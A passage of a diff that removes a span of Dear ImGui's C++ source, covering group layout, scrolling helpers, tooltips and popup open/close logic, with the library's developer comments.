window->WorkRect.Max.x; - return mx; -} - -ImVec2 ImGui::GetContentRegionAvail() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return GetContentRegionMaxAbs() - window->DC.CursorPos; -} - -// In window space (not screen space!) -ImVec2 ImGui::GetWindowContentRegionMin() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ContentRegionRect.Min - window->Pos; -} - -ImVec2 ImGui::GetWindowContentRegionMax() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ContentRegionRect.Max - window->Pos; -} - -float ImGui::GetWindowContentRegionWidth() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ContentRegionRect.GetWidth(); -} - -// Lock horizontal starting position + capture group bounding box into one "item" (so you can use IsItemHovered() or layout primitives such as SameLine() on whole group, etc.) -// Groups are currently a mishmash of functionalities which should perhaps be clarified and separated. -void ImGui::BeginGroup() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - g.GroupStack.resize(g.GroupStack.Size + 1); - ImGuiGroupData& group_data = g.GroupStack.back(); - group_data.WindowID = window->ID; - group_data.BackupCursorPos = window->DC.CursorPos; - group_data.BackupCursorMaxPos = window->DC.CursorMaxPos; - group_data.BackupIndent = window->DC.Indent; - group_data.BackupGroupOffset = window->DC.GroupOffset; - group_data.BackupCurrLineSize = window->DC.CurrLineSize; - group_data.BackupCurrLineTextBaseOffset = window->DC.CurrLineTextBaseOffset; - group_data.BackupActiveIdIsAlive = g.ActiveIdIsAlive; - group_data.BackupHoveredIdIsAlive = g.HoveredId != 0; - group_data.BackupActiveIdPreviousFrameIsAlive = g.ActiveIdPreviousFrameIsAlive; - group_data.EmitItem = true; - - window->DC.GroupOffset.x = window->DC.CursorPos.x - window->Pos.x - window->DC.ColumnsOffset.x; - window->DC.Indent = window->DC.GroupOffset; - window->DC.CursorMaxPos = window->DC.CursorPos; - window->DC.CurrLineSize = ImVec2(0.0f, 0.0f); - if (g.LogEnabled) - g.LogLinePosY = -FLT_MAX; // To enforce a carriage return -} - -void ImGui::EndGroup() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(g.GroupStack.Size > 0); // Mismatched BeginGroup()/EndGroup() calls - - ImGuiGroupData& group_data = g.GroupStack.back(); - IM_ASSERT(group_data.WindowID == window->ID); // EndGroup() in wrong window? - - ImRect group_bb(group_data.BackupCursorPos, ImMax(window->DC.CursorMaxPos, group_data.BackupCursorPos)); - - window->DC.CursorPos = group_data.BackupCursorPos; - window->DC.CursorMaxPos = ImMax(group_data.BackupCursorMaxPos, window->DC.CursorMaxPos); - window->DC.Indent = group_data.BackupIndent; - window->DC.GroupOffset = group_data.BackupGroupOffset; - window->DC.CurrLineSize = group_data.BackupCurrLineSize; - window->DC.CurrLineTextBaseOffset = group_data.BackupCurrLineTextBaseOffset; - if (g.LogEnabled) - g.LogLinePosY = -FLT_MAX; // To enforce a carriage return - - if (!group_data.EmitItem) - { - g.GroupStack.pop_back(); - return; - } - - window->DC.CurrLineTextBaseOffset = ImMax(window->DC.PrevLineTextBaseOffset, group_data.BackupCurrLineTextBaseOffset); // FIXME: Incorrect, we should grab the base offset from the *first line* of the group but it is hard to obtain now. - ItemSize(group_bb.GetSize()); - ItemAdd(group_bb, 0); - - // If the current ActiveId was declared within the boundary of our group, we copy it to LastItemId so IsItemActive(), IsItemDeactivated() etc. will be functional on the entire group. - // It would be be neater if we replaced window.DC.LastItemId by e.g. 'bool LastItemIsActive', but would put a little more burden on individual widgets. - // Also if you grep for LastItemId you'll notice it is only used in that context. - // (The two tests not the same because ActiveIdIsAlive is an ID itself, in order to be able to handle ActiveId being overwritten during the frame.) - const bool group_contains_curr_active_id = (group_data.BackupActiveIdIsAlive != g.ActiveId) && (g.ActiveIdIsAlive == g.ActiveId) && g.ActiveId; - const bool group_contains_prev_active_id = (group_data.BackupActiveIdPreviousFrameIsAlive == false) && (g.ActiveIdPreviousFrameIsAlive == true); - if (group_contains_curr_active_id) - window->DC.LastItemId = g.ActiveId; - else if (group_contains_prev_active_id) - window->DC.LastItemId = g.ActiveIdPreviousFrame; - window->DC.LastItemRect = group_bb; - - // Forward Hovered flag - const bool group_contains_curr_hovered_id = (group_data.BackupHoveredIdIsAlive == false) && g.HoveredId != 0; - if (group_contains_curr_hovered_id) - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HoveredWindow; - - // Forward Edited flag - if (group_contains_curr_active_id && g.ActiveIdHasBeenEditedThisFrame) - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_Edited; - - // Forward Deactivated flag - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HasDeactivated; - if (group_contains_prev_active_id && g.ActiveId != g.ActiveIdPreviousFrame) - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_Deactivated; - - g.GroupStack.pop_back(); - //window->DrawList->AddRect(group_bb.Min, group_bb.Max, IM_COL32(255,0,255,255)); // [Debug] -} - - -//----------------------------------------------------------------------------- -// [SECTION] SCROLLING -//----------------------------------------------------------------------------- - -// Helper to snap on edges when aiming at an item very close to the edge, -// So the difference between WindowPadding and ItemSpacing will be in the visible area after scrolling. -// When we refactor the scrolling API this may be configurable with a flag? -// Note that the effect for this won't be visible on X axis with default Style settings as WindowPadding.x == ItemSpacing.x by default. -static float CalcScrollEdgeSnap(float target, float snap_min, float snap_max, float snap_threshold, float center_ratio) -{ - if (target <= snap_min + snap_threshold) - return ImLerp(snap_min, target, center_ratio); - if (target >= snap_max - snap_threshold) - return ImLerp(target, snap_max, center_ratio); - return target; -} - -static ImVec2 CalcNextScrollFromScrollTargetAndClamp(ImGuiWindow* window) -{ - ImVec2 scroll = window->Scroll; - if (window->ScrollTarget.x < FLT_MAX) - { - float center_x_ratio = window->ScrollTargetCenterRatio.x; - float scroll_target_x = window->ScrollTarget.x; - float snap_x_min = 0.0f; - float snap_x_max = window->ScrollMax.x + window->Size.x; - if (window->ScrollTargetEdgeSnapDist.x > 0.0f) - scroll_target_x = CalcScrollEdgeSnap(scroll_target_x, snap_x_min, snap_x_max, window->ScrollTargetEdgeSnapDist.x, center_x_ratio); - scroll.x = scroll_target_x - center_x_ratio * (window->SizeFull.x - window->ScrollbarSizes.x); - } - if (window->ScrollTarget.y < FLT_MAX) - { - float decoration_up_height = window->TitleBarHeight() + window->MenuBarHeight(); - float center_y_ratio = window->ScrollTargetCenterRatio.y; - float scroll_target_y = window->ScrollTarget.y; - float snap_y_min = 0.0f; - float snap_y_max = window->ScrollMax.y + window->Size.y - decoration_up_height; - if (window->ScrollTargetEdgeSnapDist.y > 0.0f) - scroll_target_y = CalcScrollEdgeSnap(scroll_target_y, snap_y_min, snap_y_max, window->ScrollTargetEdgeSnapDist.y, center_y_ratio); - scroll.y = scroll_target_y - center_y_ratio * (window->SizeFull.y - window->ScrollbarSizes.y - decoration_up_height); - } - scroll.x = IM_FLOOR(ImMax(scroll.x, 0.0f)); - scroll.y = IM_FLOOR(ImMax(scroll.y, 0.0f)); - if (!window->Collapsed && !window->SkipItems) - { - scroll.x = ImMin(scroll.x, window->ScrollMax.x); - scroll.y = ImMin(scroll.y, window->ScrollMax.y); - } - return scroll; -} - -// Scroll to keep newly navigated item fully into view -ImVec2 ImGui::ScrollToBringRectIntoView(ImGuiWindow* window, const ImRect& item_rect) -{ - ImGuiContext& g = *GImGui; - ImRect window_rect(window->InnerRect.Min - ImVec2(1, 1), window->InnerRect.Max + ImVec2(1, 1)); - //GetForegroundDrawList(window)->AddRect(window_rect.Min, window_rect.Max, IM_COL32_WHITE); // [DEBUG] - - ImVec2 delta_scroll; - if (!window_rect.Contains(item_rect)) - { - if (window->ScrollbarX && item_rect.Min.x < window_rect.Min.x) - SetScrollFromPosX(window, item_rect.Min.x - window->Pos.x - g.Style.ItemSpacing.x, 0.0f); - else if (window->ScrollbarX && item_rect.Max.x >= window_rect.Max.x) - SetScrollFromPosX(window, item_rect.Max.x - window->Pos.x + g.Style.ItemSpacing.x, 1.0f); - if (item_rect.Min.y < window_rect.Min.y) - SetScrollFromPosY(window, item_rect.Min.y - window->Pos.y - g.Style.ItemSpacing.y, 0.0f); - else if (item_rect.Max.y >= window_rect.Max.y) - SetScrollFromPosY(window, item_rect.Max.y - window->Pos.y + g.Style.ItemSpacing.y, 1.0f); - - ImVec2 next_scroll = CalcNextScrollFromScrollTargetAndClamp(window); - delta_scroll = next_scroll - window->Scroll; - } - - // Also scroll parent window to keep us into view if necessary - if (window->Flags & ImGuiWindowFlags_ChildWindow) - delta_scroll += ScrollToBringRectIntoView(window->ParentWindow, ImRect(item_rect.Min - delta_scroll, item_rect.Max - delta_scroll)); - - return delta_scroll; -} - -float ImGui::GetScrollX() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->Scroll.x; -} - -float ImGui::GetScrollY() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->Scroll.y; -} - -float ImGui::GetScrollMaxX() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ScrollMax.x; -} - -float ImGui::GetScrollMaxY() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->ScrollMax.y; -} - -void ImGui::SetScrollX(ImGuiWindow* window, float scroll_x) -{ - window->ScrollTarget.x = scroll_x; - window->ScrollTargetCenterRatio.x = 0.0f; - window->ScrollTargetEdgeSnapDist.x = 0.0f; -} - -void ImGui::SetScrollY(ImGuiWindow* window, float scroll_y) -{ - window->ScrollTarget.y = scroll_y; - window->ScrollTargetCenterRatio.y = 0.0f; - window->ScrollTargetEdgeSnapDist.y = 0.0f; -} - -void ImGui::SetScrollX(float scroll_x) -{ - ImGuiContext& g = *GImGui; - SetScrollX(g.CurrentWindow, scroll_x); -} - -void ImGui::SetScrollY(float scroll_y) -{ - ImGuiContext& g = *GImGui; - SetScrollY(g.CurrentWindow, scroll_y); -} - -// Note that a local position will vary depending on initial scroll value, -// This is a little bit confusing so bear with us: -// - local_pos = (absolution_pos - window->Pos) -// - So local_x/local_y are 0.0f for a position at the upper-left corner of a window, -// and generally local_x/local_y are >(padding+decoration) && <(size-padding-decoration) when in the visible area. -// - They mostly exists because of legacy API. -// Following the rules above, when trying to work with scrolling code, consider that: -// - SetScrollFromPosY(0.0f) == SetScrollY(0.0f + scroll.y) == has no effect! -// - SetScrollFromPosY(-scroll.y) == SetScrollY(-scroll.y + scroll.y) == SetScrollY(0.0f) == reset scroll. Of course writing SetScrollY(0.0f) directly then makes more sense -// We store a target position so centering and clamping can occur on the next frame when we are guaranteed to have a known window size -void ImGui::SetScrollFromPosX(ImGuiWindow* window, float local_x, float center_x_ratio) -{ - IM_ASSERT(center_x_ratio >= 0.0f && center_x_ratio <= 1.0f); - window->ScrollTarget.x = IM_FLOOR(local_x + window->Scroll.x); // Convert local position to scroll offset - window->ScrollTargetCenterRatio.x = center_x_ratio; - window->ScrollTargetEdgeSnapDist.x = 0.0f; -} - -void ImGui::SetScrollFromPosY(ImGuiWindow* window, float local_y, float center_y_ratio) -{ - IM_ASSERT(center_y_ratio >= 0.0f && center_y_ratio <= 1.0f); - local_y -= window->TitleBarHeight() + window->MenuBarHeight(); // FIXME: Would be nice to have a more standardized access to our scrollable/client rect - window->ScrollTarget.y = IM_FLOOR(local_y + window->Scroll.y); // Convert local position to scroll offset - window->ScrollTargetCenterRatio.y = center_y_ratio; - window->ScrollTargetEdgeSnapDist.y = 0.0f; -} - -void ImGui::SetScrollFromPosX(float local_x, float center_x_ratio) -{ - ImGuiContext& g = *GImGui; - SetScrollFromPosX(g.CurrentWindow, local_x, center_x_ratio); -} - -void ImGui::SetScrollFromPosY(float local_y, float center_y_ratio) -{ - ImGuiContext& g = *GImGui; - SetScrollFromPosY(g.CurrentWindow, local_y, center_y_ratio); -} - -// center_x_ratio: 0.0f left of last item, 0.5f horizontal center of last item, 1.0f right of last item. -void ImGui::SetScrollHereX(float center_x_ratio) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - float spacing_x = g.Style.ItemSpacing.x; - float target_pos_x = ImLerp(window->DC.LastItemRect.Min.x - spacing_x, window->DC.LastItemRect.Max.x + spacing_x, center_x_ratio); - SetScrollFromPosX(window, target_pos_x - window->Pos.x, center_x_ratio); // Convert from absolute to local pos - - // Tweak: snap on edges when aiming at an item very close to the edge - window->ScrollTargetEdgeSnapDist.x = ImMax(0.0f, window->WindowPadding.x - spacing_x); -} - -// center_y_ratio: 0.0f top of last item, 0.5f vertical center of last item, 1.0f bottom of last item. -void ImGui::SetScrollHereY(float center_y_ratio) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - float spacing_y = g.Style.ItemSpacing.y; - float target_pos_y = ImLerp(window->DC.CursorPosPrevLine.y - spacing_y, window->DC.CursorPosPrevLine.y + window->DC.PrevLineSize.y + spacing_y, center_y_ratio); - SetScrollFromPosY(window, target_pos_y - window->Pos.y, center_y_ratio); // Convert from absolute to local pos - - // Tweak: snap on edges when aiming at an item very close to the edge - window->ScrollTargetEdgeSnapDist.y = ImMax(0.0f, window->WindowPadding.y - spacing_y); -} - -//----------------------------------------------------------------------------- -// [SECTION] TOOLTIPS -//----------------------------------------------------------------------------- - -void ImGui::BeginTooltip() -{ - BeginTooltipEx(ImGuiWindowFlags_None, ImGuiTooltipFlags_None); -} - -void ImGui::BeginTooltipEx(ImGuiWindowFlags extra_flags, ImGuiTooltipFlags tooltip_flags) -{ - ImGuiContext& g = *GImGui; - - if (g.DragDropWithinSource || g.DragDropWithinTarget) - { - // The default tooltip position is a little offset to give space to see the context menu (it's also clamped within the current viewport/monitor) - // In the context of a dragging tooltip we try to reduce that offset and we enforce following the cursor. - // Whatever we do we want to call SetNextWindowPos() to enforce a tooltip position and disable clipping the tooltip without our display area, like regular tooltip do. - //ImVec2 tooltip_pos = g.IO.MousePos - g.ActiveIdClickOffset - g.Style.WindowPadding; - ImVec2 tooltip_pos = g.IO.MousePos + ImVec2(16 * g.Style.MouseCursorScale, 8 * g.Style.MouseCursorScale); - SetNextWindowPos(tooltip_pos); - SetNextWindowBgAlpha(g.Style.Colors[ImGuiCol_PopupBg].w * 0.60f); - //PushStyleVar(ImGuiStyleVar_Alpha, g.Style.Alpha * 0.60f); // This would be nice but e.g ColorButton with checkboard has issue with transparent colors :( - tooltip_flags |= ImGuiTooltipFlags_OverridePreviousTooltip; - } - - char window_name[16]; - ImFormatString(window_name, IM_ARRAYSIZE(window_name), "##Tooltip_%02d", g.TooltipOverrideCount); - if (tooltip_flags & ImGuiTooltipFlags_OverridePreviousTooltip) - if (ImGuiWindow* window = FindWindowByName(window_name)) - if (window->Active) - { - // Hide previous tooltip from being displayed. We can't easily "reset" the content of a window so we create a new one. - window->Hidden = true; - window->HiddenFramesCanSkipItems = 1; // FIXME: This may not be necessary? - ImFormatString(window_name, IM_ARRAYSIZE(window_name), "##Tooltip_%02d", ++g.TooltipOverrideCount); - } - ImGuiWindowFlags flags = ImGuiWindowFlags_Tooltip | ImGuiWindowFlags_NoInputs | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_AlwaysAutoResize; - Begin(window_name, NULL, flags | extra_flags); -} - -void ImGui::EndTooltip() -{ - IM_ASSERT(GetCurrentWindowRead()->Flags & ImGuiWindowFlags_Tooltip); // Mismatched BeginTooltip()/EndTooltip() calls - End(); -} - -void ImGui::SetTooltipV(const char* fmt, va_list args) -{ - BeginTooltipEx(0, ImGuiTooltipFlags_OverridePreviousTooltip); - TextV(fmt, args); - EndTooltip(); -} - -void ImGui::SetTooltip(const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - SetTooltipV(fmt, args); - va_end(args); -} - -//----------------------------------------------------------------------------- -// [SECTION] POPUPS -//----------------------------------------------------------------------------- - -// Supported flags: ImGuiPopupFlags_AnyPopupId, ImGuiPopupFlags_AnyPopupLevel -bool ImGui::IsPopupOpen(ImGuiID id, ImGuiPopupFlags popup_flags) -{ - ImGuiContext& g = *GImGui; - if (popup_flags & ImGuiPopupFlags_AnyPopupId) - { - // Return true if any popup is open at the current BeginPopup() level of the popup stack - // This may be used to e.g. test for another popups already opened to handle popups priorities at the same level. - IM_ASSERT(id == 0); - if (popup_flags & ImGuiPopupFlags_AnyPopupLevel) - return g.OpenPopupStack.Size > 0; - else - return g.OpenPopupStack.Size > g.BeginPopupStack.Size; - } - else - { - if (popup_flags & ImGuiPopupFlags_AnyPopupLevel) - { - // Return true if the popup is open anywhere in the popup stack - for (int n = 0; n < g.OpenPopupStack.Size; n++) - if (g.OpenPopupStack[n].PopupId == id) - return true; - return false; - } - else - { - // Return true if the popup is open at the current BeginPopup() level of the popup stack (this is the most-common query) - return g.OpenPopupStack.Size > g.BeginPopupStack.Size && g.OpenPopupStack[g.BeginPopupStack.Size].PopupId == id; - } - } -} - -bool ImGui::IsPopupOpen(const char* str_id, ImGuiPopupFlags popup_flags) -{ - ImGuiContext& g = *GImGui; - ImGuiID id = (popup_flags & ImGuiPopupFlags_AnyPopupId) ? 0 : g.CurrentWindow->GetID(str_id); - if ((popup_flags & ImGuiPopupFlags_AnyPopupLevel) && id != 0) - IM_ASSERT(0 && "Cannot use IsPopupOpen() with a string id and ImGuiPopupFlags_AnyPopupLevel."); // But non-string version is legal and used internally - return IsPopupOpen(id, popup_flags); -} - -ImGuiWindow* ImGui::GetTopMostPopupModal() -{ - ImGuiContext& g = *GImGui; - for (int n = g.OpenPopupStack.Size - 1; n >= 0; n--) - if (ImGuiWindow* popup = g.OpenPopupStack.Data[n].Window) - if (popup->Flags & ImGuiWindowFlags_Modal) - return popup; - return NULL; -} - -void ImGui::OpenPopup(const char* str_id, ImGuiPopupFlags popup_flags) -{ - ImGuiContext& g = *GImGui; - OpenPopupEx(g.CurrentWindow->GetID(str_id), popup_flags); -} - -// Mark popup as open (toggle toward open state). -// Popups are closed when user click outside, or activate a pressable item, or CloseCurrentPopup() is called within a BeginPopup()/EndPopup() block. -// Popup identifiers are relative to the current ID-stack (so OpenPopup and BeginPopup needs to be at the same level). -// One open popup per level of the popup hierarchy (NB: when assigning we reset the Window member of ImGuiPopupRef to NULL) -void ImGui::OpenPopupEx(ImGuiID id, ImGuiPopupFlags popup_flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* parent_window = g.CurrentWindow; - const int current_stack_size = g.BeginPopupStack.Size; - - if (popup_flags & ImGuiPopupFlags_NoOpenOverExistingPopup) - if (IsPopupOpen(0u, ImGuiPopupFlags_AnyPopupId)) - return; - - ImGuiPopupData popup_ref; // Tagged as new ref as Window will be set back to NULL if we write this into OpenPopupStack. - popup_ref.PopupId = id; - popup_ref.Window = NULL; - popup_ref.SourceWindow = g.NavWindow; - popup_ref.OpenFrameCount = g.FrameCount; - popup_ref.OpenParentId = parent_window->IDStack.back(); - popup_ref.OpenPopupPos = NavCalcPreferredRefPos(); - popup_ref.OpenMousePos = IsMousePosValid(&g.IO.MousePos) ? g.IO.MousePos : popup_ref.OpenPopupPos; - - IMGUI_DEBUG_LOG_POPUP("OpenPopupEx(0x%08X)\n", id); - if (g.OpenPopupStack.Size < current_stack_size + 1) - { - g.OpenPopupStack.push_back(popup_ref); - } - else - { - // Gently handle the user mistakenly calling OpenPopup() every frame. It is a programming mistake! However, if we were to run the regular code path, the ui - // would become completely unusable because the popup will always be in hidden-while-calculating-size state _while_ claiming focus. Which would be a very confusing - // situation for the programmer. Instead, we silently allow the popup to proceed, it will keep reappearing and the programming error will be more obvious to understand. - if (g.OpenPopupStack[current_stack_size].PopupId == id && g.OpenPopupStack[current_stack_size].OpenFrameCount == g.FrameCount - 1) - { - g.OpenPopupStack[current_stack_size].OpenFrameCount = popup_ref.OpenFrameCount; - } - else - { - // Close child popups if any, then flag popup for open/reopen - ClosePopupToLevel(current_stack_size, false); - g.OpenPopupStack.push_back(popup_ref); - } - - // When reopening a popup we first refocus its parent, otherwise if its parent is itself a popup it would get closed by ClosePopupsOverWindow(). - // This is equivalent to what ClosePopupToLevel() does. - //if (g.OpenPopupStack[current_stack_size].PopupId == id) - // FocusWindow(parent_window); - } -} - -// When popups are stacked, clicking on a lower level popups puts focus back to it and close popups above it. -// This function closes any popups that are over 'ref_window'. -void ImGui::ClosePopupsOverWindow(ImGuiWindow* ref_window, bool restore_focus_to_window_under_popup) -{ - ImGuiContext& g = *GImGui; - if (g.OpenPopupStack.Size == 0) - return; - - // Don't close our own child popup windows. - int popup_count_to_keep = 0; - if (ref_window) - { - // Find the highest popup which is a descendant of the reference window (generally reference window = NavWindow) - for (; popup_count_to_keep < g.OpenPopupStack.Size; popup_count_to_keep++) - { - ImGuiPopupData& popup = g.OpenPopupStack[popup_count_to_keep]; - if (!popup.Window) - continue; - IM_ASSERT((popup.Window->Flags & ImGuiWindowFlags_Popup) != 0); - if (popup.Window->Flags & ImGuiWindowFlags_ChildWindow) - continue; - - // Trim the stack unless the popup is a direct parent of the reference window (the reference window is often the NavWindow) - // - With this stack of window, clicking/focusing Popup1 will close Popup2 and Popup3: - // Window -> Popup1 -> Popup2 -> Popup3 - // - Each popups may contain child windows, which is why we compare ->RootWindow! - // Window -> Popup1 -> Popup1_Child -> Popup2 -> Popup2_Child - bool ref_window_is_descendent_of_popup = false; - for (int n = popup_count_to_keep; n < g.OpenPopupStack.Size; n++) - if (ImGuiWindow* popup_window = g.OpenPopupStack[n].Window) - if (popup_window->RootWindow == ref_window->RootWindow) - { - ref_window_is_descendent_of_popup = true; - break; - } - if (!ref_window_is_descendent_of_popup) - break; - } - } - if (popup_count_to_keep < g.OpenPopupStack.Size) // This test is not required but it allows to set a convenient breakpoint on the statement below - { - IMGUI_DEBUG_LOG_POPUP("ClosePopupsOverWindow(\"%s\") -> ClosePopupToLevel(%d)\n", ref_window->Name, popup_count_to_keep); - ClosePopupToLevel(popup_count_to_keep, restore_focus_to_window_under_popup); - } -} - -void ImGui::ClosePopupToLevel(int remaining, bool restore_focus_to_window_under_popup) -{ - ImGuiContext& g = *GImGui; - IMGUI_DEBUG_LOG_POPUP("ClosePopupToLevel(%d), restore_focus_to_window_under_popup=%d\n", remaining, restore_focus_to_window_under_popup); - IM_ASSERT(remaining >= 0 && remaining < g.OpenPopupStack.Size); - - // Trim open popup stack - ImGuiWindow* focus_window = g.OpenPopupStack[remaining].SourceWindow; - ImGuiWindow* popup_window = g.OpenPopupStack[remaining].Window; - g.OpenPopupStack.resize(remaining); - - if (restore_focus_to_window_under_popup) - { - if (focus_window && !focus_window->WasActive && popup_window) - { - // Fallback - FocusTopMostWindowUnderOne(popup_window, NULL); - } - else - { - if (g.NavLayer == ImGuiNavLayer_Main && focus_window) - focus_window = NavRestoreLastChildNavWindow(focus_window); - FocusWindow(focus_window); - } - } -} - -// Close the popup we have begin-ed into. -void ImGui::CloseCurrentPopup() -{ - ImGuiContext& g = *GImGui; - int popup_idx = g.BeginPopupStack.Size - 1; - if (popup_idx < 0 || popup_idx >= g.OpenPopupStack.Size || g.BeginPopupStack[popup_idx].PopupId != g.OpenPopupStack[popup_idx].PopupId) - return; - - // Closing a menu closes its top-most parent popup (unless a modal) - while (popup_idx > 0) - { - ImGuiWindow* popup_window = g.OpenPopupStack[popup_idx].Window; - ImGuiWindow* parent_popup_window = g.OpenPopupStack[popup_idx - 1].Window; - bool close_parent = false; - if (popup_window && (popup_window->Flags & ImGuiWindowFlags_ChildMenu)) - if (parent_popup_window == NULL || !(parent_popup_window->Flags & ImGuiWindowFlags_Modal)) - close_parent = true; - if (!close_parent) - break; - popup_idx--; - } - IMGUI_DEBUG_LOG_POPUP("CloseCurrentPopup %d -> %d\n", g.BeginPopupStack.Size - 1, popup_idx); - ClosePopupToLevel(popup_idx, true); - - // A common pattern is to close a popup when selecting a menu item/selectable that will open another window. - // To improve this usage pattern, we avoid nav highlight for a single frame in the parent window. - // Similarly, we could avoid mouse hover highlight in this window but it is less visually problematic. - if (ImGuiWindow* window = g.NavWindow) - window->DC.NavHideHighlightOneFrame = true; -} - -// Attention! BeginPopup() adds default flags which BeginPopupEx()! -bool ImGui::BeginPopupEx(ImGuiID id, ImGuiWindowFlags flags) -{ - ImGuiContext& g = *GImGui; - if (!IsPopupOpen(id, ImGuiPopupFlags_None)) - { - g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values - return false; - } - - char name[20]; - if (flags & ImGuiWindowFlags_ChildMenu) - ImFormatString(name, IM_ARRAYSIZE(name), "##Menu_%02d", g.BeginPopupStack.Size); // Recycle windows based on depth - else - ImFormatString(name, IM_ARRAYSIZE(name), "##Popup_%08x", id); // Not recycling, so we can close/open during the same frame - - flags |= ImGuiWindowFlags_Popup; - bool is_open = Begin(name, NULL, flags); - if (!is_open) // NB: Begin can return false when the popup is completely clipped (e.g. zero size display) - EndPopup(); - - return is_open; -} - -bool ImGui::BeginPopup(const char* str_id, ImGuiWindowFlags flags) -{ - ImGuiContext& g = *GImGui; - if (g.OpenPopupStack.Size <= g.BeginPopupStack.Size) // Early out for performance - { - g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values - return false; - } - flags |= ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings; - return BeginPopupEx(g.CurrentWindow->GetID(str_id), flags); -} - -// If 'p_open' is specified for a modal popup window, the popup will have a regular close button which will close the popup. -// Note that popup visibility status is owned by Dear ImGui (and manipulated with e.g. OpenPopup) so the actual value of *p_open is meaningless here. -bool ImGui::BeginPopupModal(const char* name, bool* p_open, ImGuiWindowFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - const ImGuiID id = window->GetID(name); - if (!IsPopupOpen(id, ImGuiPopupFlags_None)) - { - g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values - return false; - } - - // Center modal windows by default for increased visibility - // (this won't really last as settings will kick in, and is mostly for backward compatibility. user may do the same themselves) - // FIXME: Should test for (PosCond & window->SetWindowPosAllowFlags) with the upcoming window. - if ((g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasPos) == 0) - { - const ImGuiViewport* viewport = GetMainViewport(); - SetNextWindowPos(viewport->GetCenter(), ImGuiCond_FirstUseEver, ImVec2(0.5f, 0.5f)); - } - - flags |= ImGuiWindowFlags_Popup | ImGuiWindowFlags_Modal | ImGuiWindowFlags_NoCollapse; - const bool is_open = Begin(name, p_open, flags); - if (!is_open || (p_open && !*p_open)) // NB: is_open can be 'false' when the popup is completely clipped (e.g. zero size display) - { - EndPopup(); - if (is_open) - ClosePopupToLevel(g.BeginPopupStack.Size, true); - return false; - } - return is_open; -} - -void ImGui::EndPopup() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(window->Flags & ImGuiWindowFlags_Popup); // Mismatched BeginPopup()/EndPopup() calls - IM_ASSERT(g.BeginPopupStack.Size > 0); - - // Make all menus and popups wrap around for now, may need to expose that policy. - if (g.NavWindow == window) - NavMoveRequestTryWrapping(window, ImGuiNavMoveFlags_LoopY); - - // Child-popups don't need to be laid out - IM_ASSERT(g.WithinEndChild == false); - if (window->Flags & ImGuiWindowFlags_ChildWindow) - g.WithinEndChild = true; - End(); - g.WithinEndChild = false; -} - -// Helper to open a popup if mouse button is released over the item -// - This is essentially the same as BeginPopupContextItem() but without the trailing BeginPopup() -void ImGui::OpenPopupOnItemClick(const char* str_id, ImGuiPopupFlags popup_flags) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); - if (IsMouseReleased(mouse_button) && IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup)) - { - ImGuiID id = str_id ? window->GetID(str_id) : window->DC.LastItemId; // If user hasn't passed an ID, we can use the LastItemID. Using LastItemID as a Popup ID won't conflict! - IM_ASSERT(id != 0); // You cannot pass a NULL str_id if the last item has no identifier (e.g. a Text() item) - OpenPopupEx(id, popup_flags); - } -} - -// This is a helper to handle the simplest case of associating one named popup to one given widget. -// - You can pass a NULL str_id to use the identifier of the last item. -// - You may want to handle this on user side if you have specific needs (e.g. tweaking IsItemHovered() parameters). -// - This is essentially the same as calling OpenPopupOnItemClick() + BeginPopup() but written to avoid -// computing the ID twice because BeginPopupContextXXX functions may be called very frequently. -bool ImGui::BeginPopupContextItem(const char* str_id, ImGuiPopupFlags popup_flags) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - if (window->SkipItems) - return false; - ImGuiID id = str_id ? window->GetID(str_id) : window->DC.LastItemId; // If user hasn't passed an ID, we can use the LastItemID. Using LastItemID as a Popup ID won't conflict! - IM_ASSERT(id != 0); // You cannot pass a NULL str_id if the last item has no identifier (e.g. a Text() item) - int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); - if (IsMouseReleased(mouse_button) && IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup)) - OpenPopupEx(id, popup_flags); - return BeginPopupEx(id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings); -} - -bool ImGui::BeginPopupContextWindow(const char* str_id, ImGuiPopupFlags popup_flags) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - if (!str_id) - str_id = "window_context"; - ImGuiID id = window->GetID(str_id); - int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); - if (IsMouseReleased(mouse_button) && IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup)) - if (!(popup_flags & ImGuiPopupFlags_NoOpenOverItems) || !IsAnyItemHovered()) - 